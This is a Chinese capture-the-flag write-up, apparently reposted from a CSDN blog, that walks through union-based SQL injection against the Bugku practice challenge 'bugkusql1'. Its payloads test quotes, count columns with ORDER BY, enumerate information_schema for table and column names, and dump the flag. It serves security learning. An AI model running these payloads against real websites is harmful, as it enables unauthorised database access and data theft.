那就开始寻找注入点吧,输入0’发现还是:
输入0" 发现报错:
确定可以注入,判断字段有多少个 0"order by 1,2,3# 发现:
说明有两列。
输入 0" union select database(),2# ,得到库名:
继续输入 0" union select table_name,2 from information_schema.tables where table_schema=’bugkusql1’ # (0" union select group_concat(table_name),2 from information_schema.tables where table_schema=database()# )得到表名:
继续输入 0" union select column_name,2 from information_schema.columns where table_name=‘flag1’ # 得到列名:
继续输入 0" union select flag1,2 from flag1# (爆字段里的内容,中的表明是不加单引号的)得到该列下的值:
看起来挺像flag的,那么提交一下吧,发现这个真的是flag!!!
版权声明:本文为CSDN博主「A_dmins」的原创文章,遵循CC 4.0 by-sa版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_42967398/article/details/84930265
因为添加的位置主要看回显位置,故2放在from前面。
1、Union两端查询的列数要相同但是2放在前面会出现错误(0" union select 2, column_name from information_schema.columns where table_name=‘flag1’ #)
2、放在后面也会出现错误(0" union select column_name from information_schema.columns where table_name=‘flag1’,2#)